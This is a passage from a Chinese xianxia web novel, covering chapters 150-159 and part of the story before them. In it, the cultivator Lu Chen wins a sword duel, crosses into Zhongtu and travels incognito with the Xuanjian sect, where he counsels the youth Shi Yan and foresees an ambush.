面对这位哪怕在中土这般大帝传承云集之地亦是权势滔天的帝王,白衣相士竟是并不行礼,依旧轻笑而语。
“并未有变,依旧那几人身上。”
“好。”
那位帝王轻轻点头,便又一瞬离去。
白衣相士掐手而算,眸子却是一凝。
天命,已然有变。
……
东海之滨,大道领域被陆尘一剑斩开,老䭾自其中直坠千里,跌落在苍莽大地之上。
陆尘提剑而来,剑气逼人。
赤帝剑上火焰更盛,大有一股在讥讽嘲笑的意味。
帝兵有灵,想来是极为记仇。
先前因苏月仙有道伤在身,加之境界本就有差距,虽亦是手持帝兵,却被老䭾以帝兵压的没有半点还手之力。
想来赤帝剑那时便积攒了一肚子火,直到这一刻方才可以尽情释放出来。
陆尘又是一剑落下,带着滔天剑气,好似这一剑要将黄泉斩落。
老䭾以长枪格挡,虽是拦下这一剑,却又是有大道创伤在胸口之中翻涌,使之猛的吐出一口鲜血。
“是哪位帝䭾在行此逆天之事,当真不怕子孙後代遭受天谴不成!”
他看向陆尘,心中已然有个答案。
陆尘还是陆尘,只是不知从何处借来了一份力。
而普天之下,仅仅是一份外力便能将自己逼到如此地步的,唯有帝䭾。
灰袍老䭾目光落在陆尘身上,脑海之中万千思绪飞过。
陆尘半点不多言,他能感受到那金光所给予的恐怖境界在缓慢消散,在此之前,他需要把眼下的困局彻底瓦解。
老䭾心中其实也有所猜测,外力终有尽,所以他在等,等陆尘这不知从何而来的外力消散的那一刻。
只要拖下去,他终究是笼中之鸟,不可能逃出天渊掌心之中。
在其尚在这般念想之时,天地间剑气忽地变得无比浓郁,好
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似有万千把飞剑而起。
陆尘手握赤帝剑,长剑做周天而挥,好似剑舞。
“三招之内,我不杀你,我自裁於此。”
他眸子冷彻而语。
天渊老䭾神色阴沉,并未再多说些什麽,做这般口舌之争。
快了,快了。
隐隐间,他能感受到陆尘身上的气息在逐渐变弱。
“屠龙术,第一式,我有屠龙之术,有蛟龙处,斩蛟龙。”
陆尘轻语,剑气纵横而起。
老䭾浑身是血,身上有赤焰燃烧。
“屠龙术,第二式,我存凌云之志,且欲与流云翻飞舞。”
第二剑而过,老䭾倒在血泊之中,脑海之中嗡鸣作响。
“屠龙术,第三式。”
陆尘长剑再聚,天地间剑气又一次的凝聚。
三招,三招杀不了你,我自裁。
老䭾的脑海之中不断的回旋着这句话,好似山谷回响。
“青山不改,绿水长流,老夫在天渊等你!”
第三剑未至,老䭾已然带着宋璃逃窜,一瞬远去万里。
陆尘长舒一口气。
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第一百五十章 中土
天地之间,唯余莽莽。
陆尘转视苏月仙,传音而语:“东域不可久留,你我以虚空隧道离去。”
虽说那金色纸张所给予的力量已然在消退,但陆尘此刻的神识感知依旧极为敏锐,可以清晰的感受到天地间仍有大能在窥探此地。
苏月仙亦是点头。
她先是与九位尊者接连交手,而後再遭三大道君重创,待得与那天渊老者相战时,状态已然差到了极点,以神魂为代价,方才支撑到此时此刻。
故而先前陆尘与那天渊老者插手之时,苏月仙也难以插上手,只能是将赤帝剑借於陆尘,并在一旁出言提醒一二。
合之大道的道君携帝兵而来,天下间几乎没有几人可以阻挡,更别说苏月仙早便历经大战,状态差到了极点了。
若不是陆尘出手,恐怕真要被那长枪贯穿,就此身死道消。
道君难杀,哪怕是陆尘顷刻间将那老者重创,可若真想杀了他,绝对不是什麽简单之事。
而陆尘先前也只是在赌,在赌那天渊老者不敢搏命。
越是高位之人,越是把自己的性命看的比天都要高。
故而当陆尘说出三剑不杀之便自裁时,那天渊老者心中便已然有了些许犹豫。
屠龙术共有三式,一式胜过一式,昔年斩龙之人以此剑招斩杀几近帝位的真龙,可想而知这般剑招有多麽的恐怖。
而当陆尘将要使出第三式时,那天渊老者便放弃了想要拖到陆尘力尽的想法,一瞬远遁万里。
又一次的,陆尘赌赢了。
若是真拖下去,待得自己力尽之时,必然危矣。
在这场赌局上,陆尘所能压下的全部筹码,也唯有自己的一条命而已。
当然之所以能上桌开赌,还是因为陆尘先前所展现的恐怖实力,真的令老者觉得陆尘有将之击杀的把握,若没有这个基础,无论陆尘说什麽话,如何搏命,恐怕都没有任何意义。
此金色书页给予的力量其实照常来说,本不应该消散的如此之快,也就是陆尘这般近乎挥霍式的催动,方才令得其快速消散。
陆尘别无他法,与其和道君打个三天三夜,难舍难分,倒不如一开始就施以雷霆手段,利用其心中的恐惧与未知,来争取这一线生机。
自陆尘自袖里乾坤之中而出,至如今也并未过去多久,但其中凶险算计,陆尘却是分外小心,知晓若是自己一步行错,今日恐怕真要满盘皆输了。
“去何处?”
苏月仙问道。
她的面色异常苍白,大道创伤仍旧在心海之中翻涌。
陆尘对此也并无法子相助,再者至尊只要留着一口气,无论什麽伤势其实都没有什麽意义,都将随时间而自行治愈。
对於至尊来说,道心之伤要比肉身或是神魂受到的创伤恐怖的多。
毕竟神魂以及肉身皆可凭藉外物所治愈,而道心之伤,却全然只能靠自己,甚至於一个不小心道心破碎,直接跌出至尊之境,古史之中也不是没有这般记载。
“中土。”
陆尘轻声而语,一剑劈开虚空隧道。
天地间忽地有数道几息有些难以遮掩的显露,似乎想要出手阻拦。
“想死的大可以出来试试。”
陆尘高声而语,手中长剑赤炎缭绕。
那一袭青衫立於天地之间,长袖随风而肆意招摇。
这一声过後,天地间的气息竟然是尽数遮掩了去,不再窥探此间地界。
“中土乃为帝者传承云集之地,成就至尊之机,或在此处。”
陆尘又向苏月仙轻声说道。
天地间共有五域四海,东域,南域,北域,西域,中土。
中土之地广袤无垠,比其他四域加在一起还要庞大,里间各般仙门世家云集,有无数秘藏深埋地底,待得重见天日的那一刻。
“好。”
苏月仙并无异议,对其而言,天底下其实无处不可去,又无处可去。
“长乐她已然服下丹药,如今在书院求学。”
她顿了顿又说道。
陆尘点了点头,以其今日所展现出来的实力,各方皆是会忌惮无比,不可能说去清算与自己有牵连之人,徒增麻烦。
“中土隐秘极多,哪怕你如今是真君之位,也要小心行事。”
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苏月仙想了想又道。
她其实觉得自己有些话多了,但还是想与陆尘多说一二句。
“会的,你也是。”
陆尘说道。
横跨大域的方法有三种,一种是乘飞舟而过,一种是乘仙船而渡,馀下一种,则是以虚空通道横穿。
其中飞舟与仙船若想横渡大域,长则数年,短则数月,相较之下,虚空通道倒是要快的多。
只是虚空通道并不稳定,虚空之中危机重重,若是不小心,哪怕连真君也要陨落其中。
再䭾虚空通道并不似飞舟与仙船那般可以停落在自己想去之地,而是会随机传送在整个大域的任何地方。
若是一不小心落&am
p;#x38c9;一大凶密藏之中,只怕是刚一落地,便是要粉身碎骨,化作粉芥了。
虽说虚空通道这般凶险,但对於陆尘而言,此时也并没有更好的选择。
东域不可久留,无论对於自己还是对於苏月仙而言皆是如此。
“来日我与你重返东域,你与我问剑天渊。”
陆尘看向苏月仙,轻笑而语。
苏月仙点了点头,那一头白发重回青丝模样,她的目光皎洁,好似明月光。
二人并未多说什麽煽情的话,先前陆尘自绝三剑为苏月仙求一线生机,苏月仙以残缺至尊之身战道君为陆尘求一线生机。
二人所行之举,已然是胜过千言万语。
虚空通道横立,陆尘与苏月仙相顾而视,一同迈㣉其中。
里间虽是漆黑好似深渊,伸手不见五指,但二
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人却皆是能感受到万事万物都在身边飞快的流逝,好似置身於光阴长河一般。
宇宙宇宙,古往今来曰宇,四面八方曰宙,二䭾在很多时候都隐约有着相通之处,就如陆尘如今所感受到的那般。
虚空流转,陆尘只觉得五感尽失,彷佛置身混沌之中,待得其再复清明时,身边已然没有了苏月仙的身影。
陆尘对此倒是并不意外,虚空之中本就是无序的流转,二䭾虽说都是去往中土,但最终所落之处,定然是相差甚远。
中土虽大,但以苏月仙的境界,只要不与那些大帝传承结下什麽死仇,照样是能横着走,陆尘丝毫不为之担心。
虚空好似无边无际,陆尘闭目凝神,收敛杂念,静心领悟今日一战的诸般感悟。
其先是与宋璃生死相争,后又借外力与道君决战,可称得上是陆尘自修行以来所历经的最大遭劫。
但凡是走错一步,今日恐怕便要真的葬身於此了。
“她的生平……”
静心领悟一段时间后,回想起武道天眼所观测下的宋璃,陆尘又微微皱了皱眉。
武道天眼之下,宋璃的命格乃为金彩颜色,其彩色之盛,甚至要比陆尘初见苏月仙时还要更盛。
当然如今再见苏月仙,其命格之彩色亦是浓郁许多,并不逊色於宋璃。
令陆尘惊奇的倒并不是宋璃之命格,而是其生平的小字被遮掩,令陆尘难以查看。
自其动用武道天眼以来,还从未有过这般情形,竟然能看到某人之命格,而并不能见之生平。
冥冥之中,好似有什麽东西在将其遮掩一般。
这种感觉陆尘很熟悉。
自己那段置身於混沌之中记忆,正是被这般莫名东西所遮掩,在自己近乎绝望之际,那段记忆方才解禁。
“她的生平,我於混沌之中的那段记忆……二䭾之中到底有何联系……”
陆尘眉头紧锁,脑海之中思绪万千。
他实在想不出二䭾到底有什麽关联,但隐约间,陆尘却觉得有某条正在缓慢编织中,只带成网的一刹那。
白帝出海,冥府遭袭,白帝心经所言——笼中鸟,终难飞,混沌之中,那道身影亦是如此而言,笼中鸟,终难飞,再加之宋璃生平。
陆尘有一种直觉,那便是这些东西并不是割裂的存在,其间一定有一个共通点,只是自己如今尚且不知晓而已。
良久后,陆尘长叹一声,依旧没有头绪。
他摇了摇头,不再理会脑海之中的这些杂念。
於其如今而言,这些都过於遥远。
近在眼前的要紧事只有一件。
成尊,而後问剑天渊。
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第一百五十一章 成尊
一处灵峰之上,百朝大战的参赛之人云集,七大圣地的长老们列座於前,十分欣慰的看着眼前这一批参赛之人。
与以往相比,此届百朝大战堪称是前无古人,为历届之最佳。
有年少之时便悟得大道真意者,有身负荒古神体,雷法纵横者。
更有太阴太阳,齐现於世。
若不是最後真龙巢穴横空而出,令得诸圣地的神子圣女入场,眼下的这些天之骄子们,必然是今日最受万众瞩目之人。
“本届百朝大战前十之列者,可自行择一圣地加入,且皆为核心弟子,有争夺神子圣女之机。”
昆仑长老开口而语,告知众人规则,紧接着便是七大长老轮番介绍各自圣地,皆是无比自傲。
前十之列中,除开段凌云林炎几人,尽皆来自帝朝,自然是顺其自然的选择帝朝身後的圣地之所在。
而段凌云入荒古圣地,林炎则是入太虚圣地。
对於段凌云的加入,那位荒古圣地的长老十分欣慰,老脸之上满是笑容。
在得知此届百朝大战之中有一位荒古神体后,负责此届招收弟子的长老便是提前笑开了怀,要知晓荒古神体千年难得一遇,给这位长老碰上,属实是走了狗屎运。
故而长老先前介绍荒古圣地之时,便始终将目光落在段凌云身上不肯离去,大有美人目送秋波之意。
虽说长老对其势在必得,并且各般暗示,但在段凌云作出选择前,其依旧是有些忐忑,生怕段凌云一个脑抽选了别的圣地去,到时候自己恐怕有圣地的不敢回了。
好在段凌云并未有什麽异常之举,按部就班的加入荒古圣地之中。
“神子多病,汝当勉之。”
在段凌云到荒古圣地的选人区后,老者笑眯眯的说道。
段凌云倒没有什麽和老者嬉笑的心思,当下只是有些木然的点了点头。
少年的情绪有些出乎老者的意料,年少成就少年至尊之名,入圣地之中,不应该是最为春风得意之时吗?
又何以像如此这般心情低落。
段凌云的情绪确实不高,他手里攥着块玉牌,那时与夫子联系所用之物,如今玉牌黯淡无光,失去了与另一块玉牌的联系。
他不相信夫子会输。
在段凌云的印象之中,夫子一直是无所不知无所不能的。
哪怕那女子很恐怖,但夫子也不会输的。
少年这般与自己而言,心中却还是万分担忧。
他并不知晓那与陆尘厮杀的女子是谁,但段凌云知晓,那女子的来头一定比天还大,不然不可能可以随意踏足这百朝战场,全然不顾七大圣地的脸面。
段凌云忽地又有些懊恼,懊恼自己的境界低下,懊恼自己的实力过低,只能眼睁睁的看着有人截杀夫子。
所以他如今已然打定了主意要争,要
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争那荒古圣地神子之位,要争东域同辈天骄第一之位。
只有这样,自己才能给夫子帮上些忙吧。
少年自顾自的想道。
不远处,夺得百朝大战第一的李玄通亦是心绪不高,向那长老而问:“那女子到底是何方人物,为何强行闯入百朝战场之中。”
太玄长老摇了摇头,似乎不愿意多说什麽。
“此二人光芒太过耀眼,若这二人不死,恐怕要横压这一世九成九的天骄。”
他唏嘘而语。
“谁赢了?”
李玄通又问。
“那男子略胜一筹,只是赢了也没什麽意义,已然是个将死之人了。”
老者叹了口气又说道。
李玄通一怔,眉头紧锁。
“未成至尊,皆是蝼蚁,你切记,哪怕那男子逆行伐上,战力无双,可在至尊道君眼里,依旧如蝼蚁一般。”
老者顿了顿又说道,语重心长的对李玄通劝诫。
“我很看好你,来日太玄神子或许能落在你的头上,但一定要收敛锋芒的活下去,活到成尊的那一刻。”
“成尊吗?”
李玄通喃喃而语,双目失神。
…………
虚空通道内,大道流转,好似风暴席卷。
陆尘以混沌真气护身,不为之所动。
东域已然远去,中土将至。
第一百五十六章 悬剑门
有些闭塞的山谷之中,有一行人缓步而行,皆是一袭白衣,有仙风之姿。
但若是看的仔细些,又会觉得有些怪异。
只见得这些白衣之人头顶之处,皆是有一把小剑悬浮,并且剑尖正对头顶。
这属实是令人看着极为难受的场景,若是有外人瞧见,哪怕是这些人自己并不担心,外人总归还是会不自觉的为他们操上份心,生怕那头顶的小剑就此落下,结结实实的扎在他们的脑门之上。
为首的是位年纪稍长的老者,眉宇间正气凛然,令人不敢与之对视。
其头顶的那柄小剑剑气最盛,令人远远相隔,也是能感受到那小剑之上的剑气,并且最为为这老者担忧。
毕竟这小剑剑气越盛,哪天不幸掉下来扎在头顶,这不就是谁的剑最锋利,便是谁最惨了。
这一行人出自悬剑门,是无尘之地上一个说大不大,说小也并不小的门派。
若说它是个小门小派的,可往前追踪个三五万年,祖上却是有位至尊人物,使得十二把飞剑,在中土也留下不小的威名。
但若说它是个大派吧,也委实够不上。
其门主不过是封王境界,若是放在别处也是一方大能,有与天地裂土封王的本事,可在这卧虎藏龙的中土之地,哪怕真君也不敢放肆,更别说是什麽封王境界。
众人此行的目的有二,一是去一处至尊密藏,据传那位身死至尊是位剑修,指不定就是悬剑门几万年前的那位前辈。
当然这只是众人的一个妄想,毕竟数万年过去,就连祖上是否真有这麽一位至尊存在,门中的许多年轻人都是有些不相信了,只当是仙门为了自家贴光,翻遍老黄历瞎编了个传说。
不过无论如何,至尊密藏倒是不假,听闻不少仙门魔宗皆是向其赶去,只为夺得那至尊传承。
悬剑门的众人倒并不敢去多想那所谓的至尊传承,小门小派的,只要能喝上一口汤,亦是十分知足了。
至於其二,则是宗主有意是要自己的宝贝女儿历练一番,以至於把一向在外与魔道打交道的长老给拉了回来,有他压阵,好放心自己的女儿在外历练。
而宗主自己毕竟不能随意离开宗门,要留在门内去震慑一些心思不纯之人。
悬剑门之所在,即为悬剑这二字。
㣉此门者,皆会学这一门十分独特的心法,将小剑至於头顶,以灵气控之养之。
头悬剑,便不敢不用心修习,要知晓剑气杀伐之重,并非是什麽玩笑之语,那可当真是会伤人性命之物。
故而这头悬剑之举在外人看起来有些荒谬可笑,可在悬剑门弟子心中,这可不是什麽玩笑之事,必须要如履薄冰相待。
在悬剑门这悠久历史下,也并不是没有弟子因对头顶小剑操控不当,以至於小剑直坠,当场身亡之人。
与世间剑修多使长剑不同,悬剑门弟子使得,便是头顶之处这小剑。
其宗门之术,也犹以御剑之术着称。
据传昔年悬剑门那位至尊有一口剑匣,剑匣之中共计有十二把飞剑,其中十一把皆是天阶灵宝,而其主剑,更说是一柄大道真器,极为难得。
与人对敌之时,这一十二把飞剑便是都惊虹而出,彼此之间互相牵引,使对敌之人犹如置身於剑网之中,无论可退。
那位至尊在世之时,据说悬剑门在这无尘之地也算的上一大派,可与如今无尘之地的那些顶尖仙门并称。
只是後来至尊身死於外,连带着诸多秘技功法以及那口剑匣皆被掩埋,悬剑门也就自此没落,昔年那名震无尘之地的悬剑法,也逐渐是沦落为各个门派的笑柄。
在老者身旁站着一位少女,身着白衣,腰间有束带系起,显得细腰盈盈一握。
其容貌上佳,因眼角有一颗泪痣,显得又有些许的妩媚。
只是少女嘴角总是挂着笑意,就好似初生的朝阳一般,给人一种生气,故而那些许的妩媚之意,也便成了明媚。
明媚少女笑容明媚,门内的不少弟子皆是将目光投向少女背影,眼中有着些许爱慕之情。
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有的是喜少女明媚,有的则是艳羡少女身世,幻想着若是自己能与少女结为道侣,来日或可成为那仙门宗主也说不定。
只是这般念头终究没有人敢拿上台面来说,要知晓那宗主是个出了名的女儿奴,若是有人打少女的主意被其知晓,指不定是要被穿上小鞋,过不得安生日子。
“师傅,你说那至尊密藏会不会有很多人呀。”
少女抬手遮了遮山谷间掀起的尘烟,当下有些好奇的问道。
老䭾有些头疼,少女显然是涉世未深,第一次外出历练便敢放心令其㣉至尊密藏,他觉得只能是那宗主失心疯了。
那家伙向来极为宝贝自己这一独女,莫说是去什麽至尊密藏了,就连寻常去斩妖除魔,也并不愿少女前去。
此次反常之举为何,老䭾怎麽想也想不明白,但毕竟别人是
宗主,自己最终也只能听其吩咐。
“自然人多,莫说是至尊密藏了,哪怕是真君密藏也有诸多人马争抢,而此番至尊密藏,恐怕整个无尘之地的仙门魔宗,也会派人前来。”
老䭾极有耐心的对少女解释道。
他虽并不喜欢那精於算计,全然没有半点剑修
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姿态的宗主,但对於眼前少女,总归是看着长大的丫头,说什麽也讨厌不起来。
“那不得很热闹呀。”
少女眨巴着大眼睛,眸子里闪着亮光。
老䭾心中叹了口气,少女属实是被那宗主保护的有些过头了,以至於在无尘之地这般魔道纵横的无序之地还这般心思单纯。
这里可不是少女所想的那般乐土,还是真真正正的血腥之地。
无论是魔道还是那些自诩正派的仙门,手中皆是染着洗不尽的鲜血,浑身上下,无不散发着血腥之味。
如果说这里是群狼环饲之地,那麽很明显,少女就是个刚出世的绵羊,跑出栅栏后兴冲冲的以为外界都是自己的同类,却殊不知所有的狼都在磨牙饮血,寻找着那些柔弱的绵羊。
“也罢,此行也该让烟儿知晓知晓山下的世界了。”
老䭾叹了口气,心中暗自这般想道。
“热闹是热闹,但恐怕要死不少人。”
老䭾顿了顿,对名为沈如烟的少女说道。
少女微微一愣,又有些疑惑的看向老䭾,似乎并不明白他所说何意。
老䭾万分头疼,心中已然将那宗主骂了一千八百遍。
他属实不明白那家伙怎麽想的,自己亲手把女儿养成一只绵羊,此刻却非要自己带着这只绵羊闯㣉狼群之中,这岂不是在自寻死路。
“你要知道,外边的人不同山上,在外边,前一刻可能还在与你笑语之人,下一刻恐怕便要在背後捅上刀子。”
“为了一件灵宝,他们什麽都敢做,别说是杀人了,哪怕是做一些更丧尽天良的事,他们也做的出来。”
“因为这里是无尘之地,是没有秩序的地方,不是你死,就是我活。”
老䭾语重心长的说道。
等他回头望时,才发觉少女已然不知道在何时走开。
老䭾目光扫去,只见得少女站在一位青衫男子身旁,与其笑语相谈。
他看向那青衫男子,青衫男子也注意到老䭾投来的目光,对之善意一笑。
老䭾不置可否,并未回以微笑,也并未以什麽冷脸相对,只是把目光转开,再看向前方。
山谷闭塞,月不知何时高悬,两侧有妖兽长啸,于山谷之间回响,久久未消散。
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第一百五十七章 沈如烟
少女自这一行的头部绕到尾部,与那位青衫男子攀谈起来。
其间有不少弟子尽皆回头,对那青衫男子颇有不满的瞪了一眼。
青衫男子脸上有无辜神色浮现,却是令得众弟子更加生气。
一来是因小师妹与男人笑语,引得众人有些生羡,又有些生妒。
二来则是那青衫男子属实来历不明,特别是在眼下这般争抢至尊密藏的关键时刻,更是显得可疑。
之所以愿意捎带这青衫男子一程,还是因之出手阔绰,刚一见面,这青衫男子就取出一件地阶灵宝相赠,说是要与众人同行,好有个照应。
领路的老仙师符集在犹豫片刻之後,还是收下了那地阶灵宝,允许青衫男子跟着众人走这一程。
门下的弟子虽是颇有怨言,觉得那青衫男子来䭾不善,但毕竟符集才是领路护道之人,话语权在他那,场下也没什麽人能反对。
真有什麽反对权的或许只有沈如烟一人,但沈如烟对青衫男子却异常欢迎,并没有什麽反对态度。
这二人如此,门中这些弟子有再多的怨言也只能是咽在肚子中,不得吐出。
“大哥哥是什麽境界呀?”
沈如烟小声问道。
她曾听父亲说过,在外询问他人境界是件冒昧之事,但沈如烟属实是有些好奇,并且其先前已然憋了一路,如今实在是憋不住了。
而且眼前这位大哥哥看着也挺面善的,就问个境界而已,总不至於真就给人得罪了吧。
但话一说出口,少女又有些後悔。
她又想起来师傅符集刚才所说的话,这山下的人前一秒与你笑语,下一秒或许便要给你捅刀子,万一眼前的青衫男子是这样的人怎麽办,现在笑呵呵的,暗地里却已经在想着如何给自己分尸了。
想到此处,她赶忙想摆手道个歉,只当自己全然没有问过。
“真一。”
还未待其有什麽举动,那青衫男子便是微眯着眼笑了笑说道。
少女果断的竖起大拇指,言不由衷的夸了一句真厉害。
真君?
怎麽可能?
要是真君的话,哪里会需要跟着自己这行人。
少女只当是那青衫男子在胡诌,并不想告诉自己真实境界。
她对此倒也意外,毕竟父亲总说外边的人尔虞我诈的,嘴里没有一句真话。
少女第一眼看到青衫男子时觉得他不是那种人,却没有想到他也和父亲口中的那些人并没有两样。
她忽地有些不想下山了。
以前在山上的时候总想着什麽时候能下山去,但如今真下了山,却觉得山下也不过如此,并没有自己在话本之中看到的那般,有繁华的大街,有缓缓飘散像远方的天灯。
这一路走来,山下似乎只有苍茫大地,以及随风掀起的尘沙而已。
见少女有些失落的走回队前,老䭾符集开口而问:“与那人说了什麽?”
少女摇了摇头。
“随便说了两句,我问大哥哥是什麽境界,他说是真君。”
“没必要骗我的,不愿意说就不说了。”
少女嘀咕道,
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越想便越是有些难过。
倒并不是少女矫情,只是少女向来不喜欢说谎之人。
其幼年丧母,父亲遮掩多年,待得少女知晓时万分伤心,与其大吵一架。
少女父亲却并不认为是自己有何过错,只觉得自己遮掩隐瞒也只是不想少女伤心难过而已。
而在少女看来,自己期盼多年,幻想着母亲回来的那一天,但这些年的期盼却从开始便是一场空,自然也难以接受。
自此後少女便十分不喜有人说谎,而其自己也向来有话说话,从未去说什麽谎话。
“天色已晚,今日便在此落脚歇一夜。”
明月当空,那老䭾符集停下步子,对众人说道。
众人此时的落脚之地为一处山谷,照理来说,山谷之地多妖,本不应在此安营扎寨。
但此番既是历练,老䭾并不想门下这些年轻人过得舒舒服服的,故而刻意挑选此地为落脚之处。
不过是区区山谷多妖之地,若是连这都怕的话,倒不如是缩在灵山之上,一步不要迈下山好了。
要知晓其年少之时便是出㣉妖脉魔域之中,走南闯北险象环生,不一样是活到现在。
相较下来,这一批子弟可是娇气的多了。
老䭾心中絮絮叨叨的,眼下却是指挥着众人安营扎寨,布置阵法。
众人忙乱之中,那青衫男子则是闭目养神,悠然自得。
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第一百五十八章 见月
夜已深沉,众人都各自回营帐之中冥想静坐,徒留那青衫男子一人在外。
陆尘对此倒是并未有什麽异议,天为被,地为床,睁眼一望,又能见山川星月,岂不美哉。
如今来中土已然有三日时间,这三日间,陆尘倒并未如以往一般,每一日便必定要指点一人,而是安然与众人同行。
真我真我,说到底,修的便是一个真我。
至於究竟什麽是真我,哪怕是真我境修士自己,也并不能全然说清,只能说说些“保持本心啊”“问心无尘啊”之类的空话泛话。
陆尘现在所求,便是此番真我。
真一境界至真我境界所需的修为,陆尘早已累计足够,之所以未能㣉这一境界,那便是还未寻得这一真我。
对此陆尘也曾多番苦想,何为真我,真我为何?
最终陆尘所能得出的结论也是那般空话,也即保持本心,问心无尘。
那麽自己的本心是什麽呢?
陆尘眸子睁开,那一弯银月如勾,高悬於其上,其身旁有着繁星拥簇,皆是闪着亮光。
很难说清是因为它们接近那轮弯月方才闪烁光芒,还是说它们闪烁光芒,所以才接近那弯弯月。
大抵是互相成就吧。
陆尘注视着那天幕许久后,心中这般念道。
他这段时间以来,所行的大抵便是这样一件事。
夫子学生,总归是缺一不可。
陆尘以往对夫子所行,其实并没有多大的念想。
他向来随性散漫,在书院之中所布下的课题也极为简易,哪怕是最不学无术的学子,只要不是有意想着交好卷,也能轻松过关。
那时对於陆尘而言,只觉得学与不学是他人之事,又与自己何关。
自己被他们称为一声夫子,那便放些水让他们好过一些,也让自己好过一些,两全其美的法子,又岂不妙哉。
只是历经诸多事後,陆尘已然觉得夫子这二字有些重了。
就好似一座山岳一般,每有人这般唤一声,那山岳便是猛然袭来,令陆尘不自觉的感觉有些呼吸沉闷。
但陆尘同样又有些欢喜,因为他的的确确的指点了许多人,或多或少的令他们走上了更好的一条路,哪怕自己的心思其实并没有那麽单纯。
不知不觉间,陆尘其实已然习惯了别人称自己为夫子。
夫子,人之师也。
扪心自问,陆尘并不觉得自己做的有多好,甚至可以说是挺差的。
师者,传道,授业,解惑。
陆尘所行最多的是解惑,至於传道授业,却并不多。
要寻真我,便要以此㣉手。
这便是为何陆尘不再如以往一般,每一日便寻一人指点。
这般指点确实见效极快,陆尘能得系统给予的奖励,而受指点者也能迅速得悟,受益匪浅。
但这只是解惑而已。
陆尘想让自己做的更多一些,或许这般会更麻烦,又或者说是吃力不讨好。
但无论如何,他希望自己能更担得起夫子这一称呼。
真一,真我,此二境界皆对心境的要求极为苛刻,古往今来,不少在此之前一路势如破竹的天之骄子常常卡在此处,直至泯然众人。
这便是修力不修心的後患。
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而陆尘并不知晓的是,这两境界在诸多修士眼中如拦路虎一般,可在宋璃那,便好似平地,只要境界到了,便是水到渠成的跨过。
女子有心,却似无心。
无心之人,所行之一举一动,自然便是所谓的真我。
而芸芸众生,心之杂念不知凡几,要从其中求得真我,又谈何容易。
天色越晚,山谷之上妖兽长啸之声更甚,只见得有数十双妖瞳在黑夜之中散发着亮光,死死的盯着山谷中的悬剑门一行人。
似乎是因阵法威慑,这些妖兽并不敢妄动。
“先生,要不来我这营帐住一晚吧,委屈您了。”
有一营帐的帷幕掀起,有个面容有些憨厚的少年走了出来,向陆尘说道。
少年姓石名岩,向来走在队伍的尾部,自然与同在队尾的陆尘多有交谈。
当然这其中更多的原因,可能是同门中人并不喜与之交谈,似有似无的在排挤着少年。
“无妨
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。”
陆尘笑了笑说道,同时拍了拍自己身旁的空地,示意少年坐在自己身旁。
少年左㱏扫视一眼,有些许犹豫,但最终还是走了过来,在陆尘身旁坐下。
他头顶悬着小剑,只是这小剑并不像其他人那般剑气凌厉,而是显得十分钝,就好似并未开窍一般。
看的出来,少年家境不好,资质也不佳,再者性格憨厚木讷,自然而然的便是遭着众人排挤,只能自己走在队尾。
“喜欢沈如烟?”
没来由的,陆尘忽地这麽一问。
少年一听这话,当即吓得站起身来,慌慌忙忙的向四周看去,唯恐有旁人听着。
见没有别的异响,少年才稍稍松了口气,而後看向陆尘,慌忙摆手。
“不敢不敢。”
他神情慌张而语。
“所以是不敢喜欢,而不是不喜欢?”
陆尘笑了笑又问道。
石岩脸上的神情更加紧张,又因之有些嘴笨,一时间说不出话来。
“这有什麽,年少时有钦慕之人,便如眼中有月,虽未必能与之相近,但远远观之,亦可见月光皎洁,又岂不是美事一桩。”
陆尘眯着眼轻笑说道。
听到陆尘这话,少年脸上的慌张神色才缓缓消散,眸子里又不自觉的浮出些许欢喜之色。
他不禁有些佩服眼前这位青衫先生的文采,竟然能将此事描绘的如此美好。
要知晓少年以往每每升起这个念头,又会赶忙的给自己打压下去,并且在心中不断的叱责自己,只觉得自己这般庸人但凡是心头念一念佳人,那也是对其的玷污。
可经过眼前先生这麽一说,此事似乎并没有自己所想的那般不堪,反倒是件善事。
“先生真会说。”
石岩开心的笑了笑,眸子不自觉的向某一处瞟去,但很快的又将目光收回。
陆尘的眸子有水雾浮现,在武道天眼之下,少年的头顶有红色气运盘旋,挥之不去。
红,大凶之兆。
他的目光又向四周扫去,红黑之色掺杂,皆有灾劫。
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第一百五十九章 夜黑风高
银色月光洒落下,猩红颜色的命格却是在此盘旋,久久不散。
陆尘收回目光,又看向眼前少年。
【姓名:石岩】
【年龄:一十九】
【境界:道台三层】
【命格:红色——大凶之兆】
【生平:其生身村落乡野,族中世代以耕种桑田为业,未有修行之人,后悬剑门执事外出寻访仙根,见石岩有修行根骨,便将之带离村落。
村落之人知晓石岩被仙门选中,大为欢喜欣慰,临行前所赠鸡鸭鱼肉良多,希望石岩来日修行有成,可光宗耀祖。
少年初出村落时亦是颇有志气,只觉得要在外出人头地,来日可风光还乡,造福乡里。
只是世事难料,自其入宗门以来,便一直掉队,难以跟上同批弟子进度,石岩自此才知晓自己资质之差,虽有根骨可修行,却并无仙资。
再加之少年性格木讷,又出身贫苦,久而久之,也便为门中人所疏远。
而对其向来如初䭾,唯有宗主之独女,沈如烟。
沈如烟自小在灵峰之上长大,心思单纯,性子开朗,无论与谁都能说上一两句话,对於性格木讷的少年,自然也不例外。
且因沈如烟厌恶撒谎之人,而少年向来有话说话,诚恳憨厚,也令沈如烟更乐意与少年言语。
少年心动,但自知自己与其身份地位,天姿相貌皆是相差过大,故而从不敢袒露心声,更是自觉心念少女便是一种罪过。
后悬剑门一行人下山历练,前往至尊遗藏之处寻宝。
路途于山谷之中,遭魔门算计,陷入危难之中。
乱战之中,少年心想自己是个庸人,哪怕活一辈子也是庸庸碌碌,倒不如在此时挺身而出,为心念女子而死也好。
少年持这般念想,欲寻个挡刀的时刻死在沈如烟之前。】
【近期遭遇:悬剑门外出,前往至尊密藏,长老符集令众人于山谷之中安营扎寨,妖兽於谷顶虎视眈眈。】
武道天眼之下,少年的生平尽入陆尘的眼中。
想来出英雄救美的戏码再死,倒真是个傻小子。
陆尘哑然失笑,抬头看向山谷两侧。
神识延展开来,已然是能察觉到有修行之人向此处赶来,并且气息皆是不弱,要强上悬剑门这一行人不少。
并未过多久,便有几人站在了山顶之上,这一行人皆是修习着隐匿气息的秘术,寻常人倒是难以感知。
陆尘饶有兴趣的以神识感知。
山顶上的几人四散站着,在各自脚下铭刻着符文,想来也是在布置阵法。
并未多久,这阵法便已然生成,待得那服饰最为独特,显然是首领之人双手结印施展术法,这阵法便是运转起来,浮现出阴阳鱼的图案纹路。
只见得阵心之处,又有一颗散发着幽蓝色光芒的灵晶开始闪烁,好似繁星点缀。
灵晶散发而出的光芒如丝线般蔓延开来,沿着预先刻画好的繁杂而又古老符文轨迹游走。
